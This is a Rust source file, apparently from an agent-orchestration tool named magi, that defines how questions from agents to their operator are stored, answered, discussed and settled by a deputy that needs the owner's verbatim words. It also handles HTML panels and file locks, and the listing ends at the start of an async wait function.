1use std::path::{Path, PathBuf};
33use std::time::Duration;
34
35use anyhow::{Context, Result, bail};
36use jiff::Timestamp;
37use serde::{Deserialize, Serialize};
38
39use crate::config;
40use crate::proc::Quiet as _;
41use crate::run::RunStatus;
42
43pub const SCHEMA: u32 = 11;
64
65const POLL: Duration = Duration::from_secs(3);
74
75const REPLY_QUIET_WINDOW: Duration = Duration::from_secs(5 * 60);
86
87const NOTIFY_TIMEOUT: Duration = Duration::from_secs(20);
93
94const WAIT_SLICE: Duration = Duration::from_secs(240);
118
119pub const LEASE_TTL: Duration = Duration::from_secs(90);
129
130const LOCK_STALE: Duration = Duration::from_secs(10);
133
134pub const WEB_URL_ENV: &str = "MAGI_WEB_URL";
145
146pub const PANEL_MAX_BYTES: u64 = 8 * 1024 * 1024;
155
156const PANEL_DIR: &str = ".panel";
162
163const PANEL_HTML: &str = "index.html";
165
166const PANEL_TMP: &str = ".panel.tmp";
168
169pub fn valid_asset_name(name: &str) -> bool {
186 if name.is_empty() || name.len() > 64 || name.contains("..") {
187 return false;
188 }
189 let mut chars = name.chars();
190 chars.next().is_some_and(|c| c.is_ascii_alphanumeric())
191 && chars.all(|c| c.is_ascii_alphanumeric() || matches!(c, '.' | '_' | '-'))
192}
193
194#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
196#[serde(rename_all = "lowercase")]
197pub enum QuestionStatus {
198 Open,
200 Answered,
202 Abandoned,
206}
207
208impl QuestionStatus {
209 pub fn open(self) -> bool {
211 matches!(self, Self::Open)
212 }
213
214 pub fn as_str(self) -> &'static str {
216 match self {
217 Self::Open => "open",
218 Self::Answered => "answered",
219 Self::Abandoned => "abandoned",
220 }
221 }
222}
223
224#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
231#[serde(rename_all = "lowercase")]
232pub enum Answer {
233 Choice(String),
235 Text(String),
237}
238
239#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
247#[serde(tag = "do", rename_all = "lowercase")]
248pub enum ChoiceAction {
249 Resume {
251 run: String,
253 },
254 Requeue,
256 Hold,
258 Done,
260}
261
262impl ChoiceAction {
263 pub fn parse(spec: &str, default_run: &str) -> Result<(String, Self)> {
268 let Some((label, verb)) = spec.rsplit_once('=') else {
269 bail!("`--action {spec}` must look like `<choice>=<resume[:run]|requeue|hold|done>`");
270 };
271 let label = label.trim();
272 if label.is_empty() {
273 bail!("`--action {spec}` names no choice before `=`");
274 }
275 let verb = verb.trim();
276 let action = match verb.split_once(':') {
277 Some(("resume", run)) if !run.trim().is_empty() => Self::Resume {
278 run: run.trim().to_owned(),
279 },
280 None if verb == "resume" => {
281 if default_run.is_empty() {
282 bail!("`--action {spec}` names no run and MAGI_RUN is not set");
283 }
284 Self::Resume {
285 run: default_run.to_owned(),
286 }
287 }
288 None if verb == "requeue" => Self::Requeue,
289 None if verb == "hold" => Self::Hold,
290 None if verb == "done" => Self::Done,
291 _ => bail!(
292 "unknown action `{verb}` in `--action {spec}`; \
293 use resume[:<run>], requeue, hold or done"
294 ),
295 };
296 Ok((label.to_owned(), action))
297 }
298
299 pub fn matches_alias(&self, input: &str) -> bool {
302 let input = input.trim();
303 match self {
304 Self::Resume { run } => {
305 [
306 "resume",
307 "resume run",
308 "resume-run",
309 "再開",
310 "実行再開",
311 "実行を再開",
312 "実行を再開する",
313 ]
314 .iter()
315 .any(|alias| input.eq_ignore_ascii_case(alias))
316 || [
317 format!("resume {run}"),
318 format!("resume:{run}"),
319 format!("resume run {run}"),
320 format!("resume {}", short(run)),
321 format!("resume run {}", short(run)),
322 ]
323 .iter()
324 .any(|alias| input.eq_ignore_ascii_case(alias))
325 }
326 Self::Hold => ["hold", "keep-held", "keep held", "保留"]
327 .iter()
328 .any(|alias| input.eq_ignore_ascii_case(alias)),
329 _ => false,
330 }
331 }
332
333 pub fn describe(&self) -> String {
335 match self {
336 Self::Resume { run } => format!("resume run {}", short(run)),
337 Self::Requeue => "requeue the task".to_owned(),
338 Self::Hold => "hold the task until the operator releases it".to_owned(),
339 Self::Done => "mark the task done".to_owned(),
340 }
341 }
342}
343
344pub fn parse_actions(
347 specs: &[String],
348 choices: &[String],
349 default_run: &str,
350) -> Result<std::collections::BTreeMap<String, ChoiceAction>> {
351 let mut out = std::collections::BTreeMap::new();
352 for spec in specs {
353 let (label, action) = ChoiceAction::parse(spec, default_run)?;
354 if !choices.contains(&label) {
355 bail!(
356 "`--action {spec}`: `{label}` is not one of the --choice values ({})",
357 choices.join(", ")
358 );
359 }
360 if out.insert(label.clone(), action).is_some() {
361 bail!("more than one --action for `{label}`");
362 }
363 }
364 Ok(out)
365}
366
367#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
378#[serde(rename_all = "lowercase")]
379pub enum Who {
380 Operator,
382 Agent,
385}
386
387#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
395#[serde(deny_unknown_fields)]
396pub struct Turn {
397 pub who: Who,
399 pub body: String,
401 pub at: Timestamp,
403 #[serde(default, skip_serializing_if = "Option::is_none")]
408 pub note: Option<String>,
409}
410
411#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
413#[serde(rename_all = "lowercase")]
414pub enum WaiterKind {
415 Asker,
417 Daemon,
420 Deputy,
424}
425
426#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
438pub struct Deputy {
439 pub brief: String,
442 #[serde(default)]
444 pub agent: String,
445 #[serde(default)]
447 pub seat: Option<crate::agent::SeatState>,
448 #[serde(default)]
451 pub starts: u32,
452}
453
454impl Deputy {
455 pub fn new(brief: String) -> Self {
457 Self {
458 brief,
459 agent: String::new(),
460 seat: None,
461 starts: 0,
462 }
463 }
464}
465
466pub fn deputy_seat_key(id: &str) -> String {
468 format!("deputy-{}", short(id))
469}
470
471#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
476pub struct Waiter {
477 pub kind: WaiterKind,
479 pub since: Timestamp,
481}
482
483#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
492pub struct Lease {
493 pub kind: WaiterKind,
495 pub pid: u32,
497 pub beat_at: Timestamp,
499}
500
501impl Lease {
502 pub fn fresh(&self, now: Timestamp) -> bool {
504 now.as_second() - self.beat_at.as_second() <= LEASE_TTL.as_secs() as i64
505 }
506}
507
508#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
510#[serde(deny_unknown_fields)]
511pub struct Question {
512 pub schema: u32,
514 pub id: String,
517 pub run: String,
519 pub node: String,
521 pub seat: String,
524 pub summary: String,
527 pub detail: String,
530 #[serde(default, skip_serializing_if = "Option::is_none")]
532 pub posting_comparison: Option<crate::github_text::PostingComparison>,
533 pub choices: Vec<String>,
537 #[serde(default)]
539 pub merge_target: Option<crate::merge_decision::Target>,
540 #[serde(default)]
544 pub actions: std::collections::BTreeMap<String, ChoiceAction>,
545 #[serde(default)]
552 pub panel: bool,
553 #[serde(default)]
560 pub assets: Vec<String>,
561 pub status: QuestionStatus,
563 pub asked_at: Timestamp,
565 #[serde(default)]
567 pub triage_generation: Option<u64>,
568 pub answered_at: Option<Timestamp>,
570 pub answer: Option<Answer>,
572 #[serde(default)]
581 pub thread: Vec<Turn>,
582 #[serde(default)]
597 pub answer_timeout: u64,
598 #[serde(default)]
604 pub cwd: Option<String>,
605 #[serde(default)]
607 pub waiter: Option<Waiter>,
608 #[serde(default)]
612 pub delivered_turns: usize,
613 #[serde(default)]
616 pub answer_delivered: bool,
617 #[serde(default)]
620 pub deputy: Option<Deputy>,
621 #[serde(default)]
625 pub consult: Option<ChatConsult>,
626 #[serde(default, skip_serializing_if = "Option::is_none")]
628 pub answer_authority: Option<crate::consult::AnswerAuthority>,
629 #[serde(default)]
632 pub decision_context: Option<String>,
633}
634
635#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
637pub struct ChatConsult {
638 pub talk: String,
640 pub at: Timestamp,
642}
643
644impl Question {
645 pub fn run_names_task(&self) -> bool {
648 matches!(
649 self.node.as_str(),
650 crate::conduct::NODE | crate::triage::NODE | crate::triage::DEPS_NODE
651 )
652 }
653
654 pub fn new(
657 run: String,
658 node: String,
659 seat: String,
660 summary: String,
661 detail: String,
662 choices: Vec<String>,
663 ) -> Self {
664 Self {
665 schema: SCHEMA,
666 id: new_id(),
667 run,
668 node,
669 seat,
670 summary,
671 detail,
672 posting_comparison: None,
673 choices,
674 merge_target: None,
675 actions: std::collections::BTreeMap::new(),
676 panel: false,
677 assets: Vec::new(),
678 status: QuestionStatus::Open,
679 asked_at: Timestamp::now(),
680 triage_generation: None,
681 answered_at: None,
682 answer: None,
683 thread: Vec::new(),
684 answer_timeout: 0,
685 cwd: None,
686 waiter: None,
687 delivered_turns: 0,
688 answer_delivered: false,
689 deputy: None,
690 consult: None,
691 answer_authority: None,
692 decision_context: None,
693 }
694 }
695
696 pub fn short(&self) -> &str {
698 short(&self.id)
699 }
700
701 pub fn chosen_action(&self) -> Option<&ChoiceAction> {
704 match (&self.status, &self.answer) {
705 (QuestionStatus::Answered, Some(Answer::Choice(c))) => self.actions.get(c),
706 _ => None,
707 }
708 }
709
710 pub fn free_text(&self) -> bool {
712 self.choices.is_empty()
713 }
714
715 pub fn resolve_reply<'a>(&'a self, reply: &'a str) -> Result<&'a str> {
718 if self.free_text() || self.choices.iter().any(|c| c == reply) {
719 return Ok(reply);
720 }
721 if ChoiceAction::Hold.matches_alias(reply)
722 && let Some(label) = self
723 .choices
724 .iter()
725 .find(|label| crate::triage::contextual_keep_held(self, label))
726 {
727 return Ok(label);
728 }
729 let matches: Vec<_> = self
730 .actions
731 .iter()
732 .filter(|(label, action)| self.choices.contains(label) && action.matches_alias(reply))
733 .collect();
734 match matches.as_slice() {
735 [(label, _)] => Ok(label.as_str()),
736 [] => bail!(
737 "alias mismatch: `{reply}` is not an offered label or supported action alias; inspect `magi answer --list`"
738 ),
739 _ => bail!(
740 "ambiguous action alias: `{reply}` matches multiple choices; select the intended offered label"
741 ),
742 }
743 }
744
745 pub fn answer(&mut self, answer: Answer) -> Result<()> {
755 match self.status {
756 QuestionStatus::Answered => bail!(
757 "question {} was already answered; the run has moved on and a \
758 second answer would be a decision nobody acted on",
759 self.short()
760 ),
761 QuestionStatus::Abandoned => bail!(
762 "question {} was abandoned and the run behind it is gone",
763 self.short()
764 ),
765 QuestionStatus::Open => {}
766 }
767 let body = match &answer {
768 Answer::Choice(c) | Answer::Text(c) => c.as_str(),
769 };
770 if body.trim().is_empty() {
771 bail!(
772 "question {} needs an answer; an empty one tells the agent \
773 nothing and it would guess anyway",
774 self.short()
775 );
776 }
777 match &answer {
778 Answer::Choice(c) if self.free_text() => bail!(
779 "question {} asks for free text, so `{c}` cannot be a choice \
780 it offered",
781 self.short()
782 ),
783 Answer::Choice(c) if !self.choices.iter().any(|o| o == c) => bail!(
784 "`{c}` is not one of the choices question {} offers: {}",
785 self.short(),
786 self.choices.join(", ")
787 ),
788 Answer::Text(_) if !self.free_text() => bail!(
789 "question {} is multiple choice; answer with one of: {}",
790 self.short(),
791 self.choices.join(", ")
792 ),
793 _ => {}
794 }
795 if body.eq_ignore_ascii_case(crate::land::HOLD) && self.actions.contains_key(body) {
796 bail!("hold cannot execute a question action");
797 }
798 self.answered_at = Some(Timestamp::now());
799 self.answer = Some(answer);
800 self.status = QuestionStatus::Answered;
801 Ok(())
802 }
803
804 pub fn abandon(&mut self, why: impl Into<String>) {
816 if !self.status.open() {
817 return;
818 }
819 self.status = QuestionStatus::Abandoned;
820 let why = why.into();
821 let why = why.trim();
822 if why.is_empty() {
823 return;
824 }
825 if !self.detail.is_empty() {
826 self.detail.push('\n');
827 }
828 self.detail.push_str("\n_Abandoned: ");
829 self.detail.push_str(why);
830 self.detail.push_str("._\n");
831 }
832
833 pub fn resolution(&self) -> Option<String> {
840 match (self.status, &self.answer) {
841 (QuestionStatus::Answered, Some(Answer::Choice(a) | Answer::Text(a))) => {
842 Some(a.clone())
843 }
844 _ => None,
845 }
846 }
847
848 pub fn settle_by_deputy(
859 &mut self,
860 seat: &str,
861 label: &str,
862 quote: &str,
863 note: Option<&str>,
864 ) -> Result<()> {
865 let Some(deputy) = &self.deputy else {
866 bail!("question {} has no deputy", self.short());
867 };
868 let own = deputy.seat.as_ref().map(|s| s.key.as_str());
869 if own != Some(seat) {
870 bail!("only the deputy of question {} may settle it", self.short());
871 }
872 if !self.choices.iter().any(|c| c == label) {
873 bail!(
874 "`{label}` is not one of the choices offered on question {}",
875 self.short()
876 );
877 }
878 let quote = quote.trim();
879 if quote.is_empty()
880 || !self
881 .thread
882 .iter()
883 .any(|t| t.who == Who::Operator && t.body.contains(quote))
884 {
885 bail!(
886 "the quote is not something the owner said on question {}",
887 self.short()
888 );
889 }
890 let latest = self
893 .thread
894 .iter()
895 .rev()
896 .find(|t| t.who == Who::Operator)
897 .map(|t| {
898 if self.node == crate::github_text::ASK_NODE && !crate::deputy::merge_gated(self) {
899 t.body.as_str()
900 } else {
901 t.body.trim()
902 }
903 });
904 if let Some(message) = latest {
905 crate::consult::validate_batch_effect(self, label, message, quote)?;
906 }
907 if self.node == crate::github_text::ASK_NODE && label == crate::github_text::USE_MY_TEXT {
908 let message = latest.context("use my text requires a current owner instruction with the literal replacement title")?;
909 crate::consult::validate_effect(self, label, message, quote, true)?;
910 } else if crate::deputy::merge_gated(self) {
911 let ok = if label == crate::land::APPROVE {
917 latest.is_some_and(|m| match &self.merge_target {
918 Some(target) => m == format!("merge {}", target.head) && quote == m,
919 None => m.contains(quote),
920 })
921 } else {
922 latest.is_some_and(|m| crate::merge_decision::exact_owner_choice(label, m, quote))
923 };
924 if !ok {
925 bail!(
926 "on a merge approval `{label}` settles it only when the quote is a \
927 verbatim part of the owner's latest message ({}); if the wording is \
928 doubtful, ask what they mean with `--thread` instead",
929 if label == crate::land::HOLD {
930 "for `hold`, the whole message"
931 } else {
932 "the quote must be the instruction itself"
933 }
934 );
935 }
936 } else if self.node == crate::github_text::ASK_NODE
937 && crate::deputy::destructive(self, label)
938 {
939 if !latest.is_some_and(|m| crate::github_text::posting_authorized(m, quote, label)) {
940 bail!(
941 "posting confirmation requires an explicit, unconditional instruction for the chosen text quoted verbatim from the latest owner message"
942 );
943 }
944 } else if crate::deputy::destructive(self, label)
945 && !latest.is_some_and(|m| crate::land::unhedged(m, quote))
946 {
947 bail!(
948 "`{label}` cannot be undone; it settles question {} only when the owner's \
949 latest message clearly says so, unhedged and quoted verbatim (no maybe / if \
950 / not / question); ask what they mean with `--thread` instead",
951 self.short()
952 );
953 }
954 self.thread.push(Turn {
955 who: Who::Agent,
956 body: format!("Settled as `{label}` on the owner's words: \"{quote}\""),
957 at: Timestamp::now(),
958 note: note
959 .map(str::trim)
960 .filter(|n| !n.is_empty())
961 .map(str::to_owned),
962 });
963 self.delivered_turns = self.thread.len();
964 self.answer(Answer::Choice(label.to_owned()))
965 }
966
967 pub fn say(&mut self, body: impl Into<String>) -> Result<()> {
978 match self.status {
979 QuestionStatus::Answered => bail!(
980 "question {} was already answered; there is nothing left to \
981 discuss",
982 self.short()
983 ),
984 QuestionStatus::Abandoned => bail!(
985 "question {} was abandoned and the run behind it is gone",
986 self.short()
987 ),
988 QuestionStatus::Open => {}
989 }
990 let body = body.into();
991 if body.trim().is_empty() {
992 bail!("a message to question {} cannot be empty", self.short());
993 }
994 self.thread.push(Turn {
995 who: Who::Operator,
996 body,
997 at: Timestamp::now(),
998 note: None,
999 });
1000 Ok(())
1001 }
1002
1003 pub fn reply(&mut self, body: impl Into<String>, choices: Vec<String>) -> Result<()> {
1013 match self.status {
1014 QuestionStatus::Answered => bail!(
1015 "question {} was already answered; replying now would not \
1016 reach anyone",
1017 self.short()
1018 ),
1019 QuestionStatus::Abandoned => bail!(
1020 "question {} was abandoned and the run behind it is gone",
1021 self.short()
1022 ),
1023 QuestionStatus::Open => {}
1024 }
1025 let body = body.into();
1026 if body.trim().is_empty() {
1027 bail!("a reply to question {} cannot be empty", self.short());
1028 }
1029 self.actions.retain(|label, _| choices.contains(label));
1031 self.choices = choices;
1032 let unread = self.unread_from_owner().is_some();
1033 self.thread.push(Turn {
1034 who: Who::Agent,
1035 body,
1036 at: Timestamp::now(),
1037 note: None,
1038 });
1039 if !unread {
1043 self.delivered_turns = self.thread.len();
1044 }
1045 Ok(())
1046 }
1047
1048 pub fn unread_from_owner(&self) -> Option<String> {
1055 if !self.status.open() {
1056 return None;
1057 }
1058 let said = self.undelivered_owner_turns();
1059 (!said.is_empty()).then(|| said.join("\n\n"))
1060 }
1061
1062 pub fn undelivered_owner_turns(&self) -> Vec<&str> {
1068 let from = self.delivered_turns.min(self.thread.len());
1069 self.thread[from..]
1070 .iter()
1071 .filter(|t| t.who == Who::Operator)
1072 .map(|t| t.body.as_str())
1073 .collect()
1074 }
1075
1076 pub fn last_activity(&self) -> i64 {
1080 self.thread
1081 .iter()
1082 .map(|t| t.at.as_second())
1083 .max()
1084 .unwrap_or(0)
1085 .max(self.asked_at.as_second())
1086 }
1087
1088 pub fn waiting_on_agent(&self) -> bool {
1097 self.status.open() && matches!(self.thread.last(), Some(t) if t.who == Who::Operator)
1098 }
1099
1100 fn should_notify(&self, now: Timestamp) -> bool {
1108 let Some(last) = self
1109 .thread
1110 .iter()
1111 .rev()
1112 .find(|t| t.who == Who::Operator)
1113 .map(|t| t.at)
1114 else {
1115 return true;
1116 };
1117 now.as_second() - last.as_second() > REPLY_QUIET_WINDOW.as_secs() as i64
1118 }
1119}
1120
1121#[derive(Debug, Clone)]
1123pub struct Questions {
1124 root: PathBuf,
1125}
1126
1127impl Questions {
1128 pub fn open() -> Self {
1130 Self::at(crate::run::home().join("questions"))
1131 }
1132
1133 pub fn at(root: PathBuf) -> Self {
1136 Self { root }
1137 }
1138
1139 pub fn root(&self) -> &Path {
1141 &self.root
1142 }
1143
1144 pub fn path_of(&self, id: &str) -> PathBuf {
1146 self.root.join(format!("{id}.json"))
1147 }
1148
1149 pub fn panel_dir(&self, id: &str) -> PathBuf {
1151 self.root.join(format!("{id}{PANEL_DIR}"))
1152 }
1153
1154 pub fn put_panel(&self, q: &mut Question, html: &str, assets: &[PathBuf]) -> Result<()> {
1178 if !valid_asset_name(&q.id) {
1179 bail!(
1180 "question id `{}` is not a name magi will build a panel path from",
1181 q.id
1182 );
1183 }
1184 if html.trim().is_empty() {
1185 bail!(
1186 "question {} was handed an empty panel; an empty frame reads to \
1187 the owner as \"the agent had nothing to say\", which is a lie",
1188 q.short()
1189 );
1190 }
1191
1192 let mut named: Vec<(String, &Path)> = Vec::with_capacity(assets.len());
1195 for src in assets {
1196 let name = src.file_name().and_then(|n| n.to_str()).unwrap_or_default();
1197 if !valid_asset_name(name) {
1198 bail!(
1199 "panel asset `{}` cannot be stored: a panel file name must \
1200 match ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`",
1201 src.display()
1202 );
1203 }
1204 if let Some((_, first)) = named.iter().find(|(n, _)| n == name) {
1205 bail!(
1206 "two panel assets are both named `{name}` - {} and {} - and \
1207 the panel can only show one of them; rename one at the source",
1208 first.display(),
1209 src.display()
1210 );
1211 }
1212 named.push((name.to_owned(), src.as_path()));
1213 }
1214
1215 let mut total = html.len() as u64;
1216 for (_, src) in &named {
1217 let meta = std::fs::metadata(src)
1218 .with_context(|| format!("stat panel asset {}", src.display()))?;
1219 if !meta.is_file() {
1220 bail!(
1221 "panel asset `{}` is not a file; a panel is html plus files \
1222 copied beside it",
1223 src.display()
1224 );
1225 }
1226 total = total.saturating_add(meta.len());
1227 }
1228 if total > PANEL_MAX_BYTES {
1229 bail!(
1230 "panel for question {} is {total} bytes, over magi's cap of \
1231 {PANEL_MAX_BYTES} bytes; nothing was written",
1232 q.short()
1233 );
1234 }
1235
1236 let tmp = self.root.join(format!("{}{PANEL_TMP}", q.id));
1237 let dir = self.panel_dir(&q.id);
1238 std::fs::create_dir_all(&self.root)
1239 .with_context(|| format!("create {}", self.root.display()))?;
1240 clear_dir(&tmp)?;
1241 std::fs::create_dir(&tmp).with_context(|| format!("create {}", tmp.display()))?;
1242 if let Err(e) = fill_panel(&tmp, html, &named) {
1243 let _ = std::fs::remove_dir_all(&tmp);
1246 return Err(e);
1247 }
1248 clear_dir(&dir)?;
1249 std::fs::rename(&tmp, &dir)
1250 .with_context(|| format!("move panel into {}", dir.display()))?;
1251
1252 q.panel = true;
1253 q.assets = named.into_iter().map(|(n, _)| n).collect();
1254 q.assets.sort_unstable();
1255 Ok(())
1256 }
1257
1258 pub fn panel_html(&self, id: &str) -> Option<String> {
1264 if !valid_asset_name(id) {
1265 return None;
1266 }
1267 std::fs::read_to_string(self.panel_dir(id).join(PANEL_HTML)).ok()
1268 }
1269
1270 pub fn panel_asset(&self, id: &str, name: &str) -> Result<Option<Vec<u8>>> {
1281 if !valid_asset_name(name) {
1282 bail!(
1283 "`{name}` is not a panel file name; it must match \
1284 ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`"
1285 );
1286 }
1287 if !valid_asset_name(id) {
1288 return Ok(None);
1289 }
1290 let dir = self.panel_dir(id);
1291 if !dir.is_dir() {
1292 return Ok(None);
1293 }
1294 let path = dir.join(name);
1295 match std::fs::read(&path) {
1296 Ok(bytes) => Ok(Some(bytes)),
1297 Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(None),
1298 Err(e) => Err(e).with_context(|| format!("read {}", path.display())),
1299 }
1300 }
1301
1302 pub fn drop_panel(&self, id: &str) -> Result<()> {
1311 if !valid_asset_name(id) {
1312 bail!("question id `{id}` is not a name magi will build a panel path from");
1313 }
1314 clear_dir(&self.panel_dir(id))?;
1315 clear_dir(&self.root.join(format!("{id}{PANEL_TMP}")))
1316 }
1317
1318 pub fn lease_path(&self, id: &str) -> PathBuf {
1320 self.root.join(format!("{id}.lease"))
1321 }
1322
1323 pub fn read_lease(&self, id: &str) -> Option<Lease> {
1325 let body = std::fs::read_to_string(self.lease_path(id)).ok()?;
1326 serde_json::from_str(&body).ok()
1327 }
1328
1329 pub fn beat(&self, id: &str, kind: WaiterKind) {
1336 let lease = Lease {
1337 kind,
1338 pid: std::process::id(),
1339 beat_at: Timestamp::now(),
1340 };
1341 let path = self.lease_path(id);
1342 let tmp = path.with_extension("lease.tmp");
1343 let written = std::fs::create_dir_all(&self.root)
1344 .and_then(|()| std::fs::write(&tmp, serde_json::to_string(&lease).unwrap_or_default()))
1345 .and_then(|()| std::fs::rename(&tmp, &path));
1346 if let Err(e) = written {
1347 tracing::debug!("could not beat the lease on question {id}: {e}");
1348 }
1349 }
1350
1351 pub fn drop_lease(&self, id: &str) {
1353 let _ = std::fs::remove_file(self.lease_path(id));
1354 }
1355
1356 pub fn update<T>(
1367 &self,
1368 id: &str,
1369 f: impl FnOnce(&mut Question) -> Result<T>,
1370 ) -> Result<(Question, T)> {
1371 std::fs::create_dir_all(&self.root)
1372 .with_context(|| format!("create {}", self.root.display()))?;
1373 let lock = self.root.join(format!("{id}.lock"));
1374 let started = std::time::Instant::now();
1375 loop {
1376 match std::fs::OpenOptions::new()
1377 .write(true)
1378 .create_new(true)
1379 .open(&lock)
1380 {
1381 Ok(_) => break,
1382 Err(e) if e.kind() == std::io::ErrorKind::AlreadyExists => {
1383 let stale = std::fs::metadata(&lock)
1384 .and_then(|m| m.modified())
1385 .ok()
1386 .and_then(|t| t.elapsed().ok())
1387 .is_some_and(|age| age > LOCK_STALE);
1388 if stale {
1389 let _ = std::fs::remove_file(&lock);
1390 } else if started.elapsed() > LOCK_STALE {
1391 bail!("could not lock question {id}");
1392 } else {
1393 std::thread::sleep(Duration::from_millis(15));
1394 }
1395 }
1396 Err(e) => return Err(e).with_context(|| format!("lock {}", lock.display())),
1397 }
1398 }
1399 struct Unlock(PathBuf);
1400 impl Drop for Unlock {
1401 fn drop(&mut self) {
1402 let _ = std::fs::remove_file(&self.0);
1403 }
1404 }
1405 let _guard = Unlock(lock);
1406 let mut q = read_path(&self.path_of(id))?;
1407 let was_dismissed = q.resolution().as_deref() == Some(crate::merge_decision::DISMISS);
1408 let out = f(&mut q)?;
1409 if !was_dismissed && q.resolution().as_deref() == Some(crate::merge_decision::DISMISS) {
1410 let home = self.root.parent().context("question store has no home")?;
1411 crate::merge_decision::dismiss(home, &q)?;
1412 }
1413 self.put(&mut q)?;
1414 Ok((q, out))
1415 }
1416
1417 pub fn put(&self, q: &mut Question) -> Result<()> {
1421 std::fs::create_dir_all(&self.root)
1422 .with_context(|| format!("create {}", self.root.display()))?;
1423 let body = serde_json::to_string_pretty(q).context("serialize question")?;
1424 let path = self.path_of(&q.id);
1425 let tmp = path.with_extension("json.tmp");
1426 let is_new = !path.exists();
1427 std::fs::write(&tmp, &body).with_context(|| format!("write {}", tmp.display()))?;
1428 std::fs::rename(&tmp, &path).with_context(|| format!("replace {}", path.display()))?;
1429 if is_new
1432 && q.status.open()
1433 && q.node != crate::bump::NOTICE_NODE
1434 && let Some(home) = self.root.parent().filter(|p| !p.as_os_str().is_empty())
1435 {
1436 crate::notices::quiet_for(home, q);
1437 }
1438 Ok(())
1439 }
1440
1441 pub fn get(&self, id: &str) -> Result<Question> {
1443 let resolved = self.resolve_id(id)?;
1444 let q = read_path(&self.path_of(&resolved))?;
1445 Ok(self.with_repair_choice(q))
1446 }
1447
1448 fn with_repair_choice(&self, mut q: Question) -> Question {
1449 if q.status.open()
1452 && q.merge_target.is_none()
1453 && let Some(home) = self.root.parent()
1454 && let Some(target) = crate::release_watch::approval_target(home, &q)
1455 && let Ok((current, ())) = self.update(&q.id, |current| {
1456 if current.status.open() && current.merge_target.is_none() {
1457 current.merge_target = Some(target.clone());
1458 }
1459 Ok(())
1460 })
1461 {
1462 q = current;
1463 }
1464 if (q.status.open() || q.resolution().as_deref() == Some(crate::land::REPAIR))
1465 && q.node == crate::land::APPROVAL_NODE
1466 && let Some(home) = self.root.parent()
1467 && let Ok(state) = crate::run::RunState::load_under(&q.run, home)
1468 {
1469 let mut upgraded = q.clone();
1470 if crate::land::upgrade_repair_choice(&mut upgraded, &state) {
1471 match self.update(&q.id, |current| {
1472 crate::land::upgrade_repair_choice(current, &state);
1473 Ok(())
1474 }) {
1475 Ok((current, ())) => return current,
1476 Err(_) => return read_path(&self.path_of(&q.id)).unwrap_or(q),
1477 }
1478 }
1479 }
1480 q
1481 }
1482
1483 pub fn list(&self) -> Vec<Question> {
1491 let mut all: Vec<Question> = std::fs::read_dir(&self.root)
1492 .into_iter()
1493 .flatten()
1494 .flatten()
1495 .map(|e| e.path())
1496 .filter(|p| p.extension().is_some_and(|x| x == "json"))
1497 .filter_map(|p| read_path(&p).ok())
1498 .map(|q| self.with_repair_choice(q))
1499 .collect();
1500 all.sort_unstable_by(|a, b| {
1501 let rank = |q: &Question| u8::from(!q.status.open());
1502 rank(a).cmp(&rank(b)).then_with(|| b.id.cmp(&a.id))
1503 });
1504 all
1505 }
1506
1507 pub fn open_for(&self, run: &str) -> Vec<Question> {
1513 self.list()
1514 .into_iter()
1515 .filter(|q| q.status.open() && q.run == run)
1516 .collect()
1517 }
1518
1519 pub fn abandon_for_run(&self, run: &str, why: &str) -> Result<usize> {
1532 let mut abandoned = 0;
1533 for mut q in self.open_for(run) {
1534 q.abandon(why);
1535 self.put(&mut q)?;
1536 abandoned += 1;
1537 }
1538 Ok(abandoned)
1539 }
1540
1541 pub fn settle_run(&self, run: &str, status: RunStatus) -> Result<usize> {
1565 if status.resumable() {
1566 return Ok(0);
1567 }
1568 let why = format!(
1569 "run {run} {}, so nothing is waiting for this answer",
1570 status.as_str()
1571 );
1572 let mut abandoned = 0;
1577 for mut q in self.open_for(run) {
1578 if q.node == crate::bump::NOTICE_NODE {
1579 continue;
1580 }
1581 q.abandon(&why);
1582 self.put(&mut q)?;
1583 abandoned += 1;
1584 }
1585 Ok(abandoned)
1586 }
1587
1588 pub fn resolve_id(&self, prefix: &str) -> Result<String> {
1591 use crate::queue::{Reference, record_ids, resolve_reference};
1592 let ids = record_ids(&self.root, "json")?;
1593 match resolve_reference(prefix, ids.iter().map(String::as_str)) {
1594 Reference::Found(id) => Ok(id),
1595 Reference::Missing => bail!("no question matches `{prefix}`"),
1596 Reference::Ambiguous => bail!("`{prefix}` matches multiple questions"),
1597 }
1598 }
1599
1600 pub fn revision(&self) -> u64 {
1604 std::fs::read_dir(&self.root)
1605 .into_iter()
1606 .flatten()
1607 .flatten()
1608 .filter_map(|e| e.metadata().ok())
1609 .filter_map(|m| m.modified().ok())
1610 .filter_map(|t| t.duration_since(std::time::UNIX_EPOCH).ok())
1611 .map(|d| d.as_millis() as u64)
1612 .max()
1613 .unwrap_or(0)
1614 }
1615
1616 pub fn count_open(&self) -> usize {
1622 self.list().iter().filter(|q| q.status.open()).count()
1623 }
1624
1625 pub fn count_needs_owner(&self) -> usize {
1634 self.list()
1635 .iter()
1636 .filter(|q| q.status.open() && (!q.waiting_on_agent() || self.deputy_exhausted(q)))
1637 .count()
1638 }
1639
1640 pub fn deputy_exhausted(&self, q: &Question) -> bool {
1644 q.status.open()
1645 && q.deputy
1646 .as_ref()
1647 .is_some_and(|d| d.starts >= crate::deputy::MAX_STARTS)
1648 && !self
1649 .read_lease(&q.id)
1650 .is_some_and(|l| l.fresh(Timestamp::now()))
1651 }
1652}
1653
1654#[derive(Debug, Clone, PartialEq, Eq)]
1656pub enum Wait {
1657 Answered(String),
1659 Replied(String),
1664 Pending,
1671 Abandoned,
1676}
1677
1678pub async fn ask_and_wait(
1685 q: &mut Question,
1686 store: &Questions,
1687 notify: &config::Notify,
1688 timeout: Duration,
1689) -> Result<Wait> {
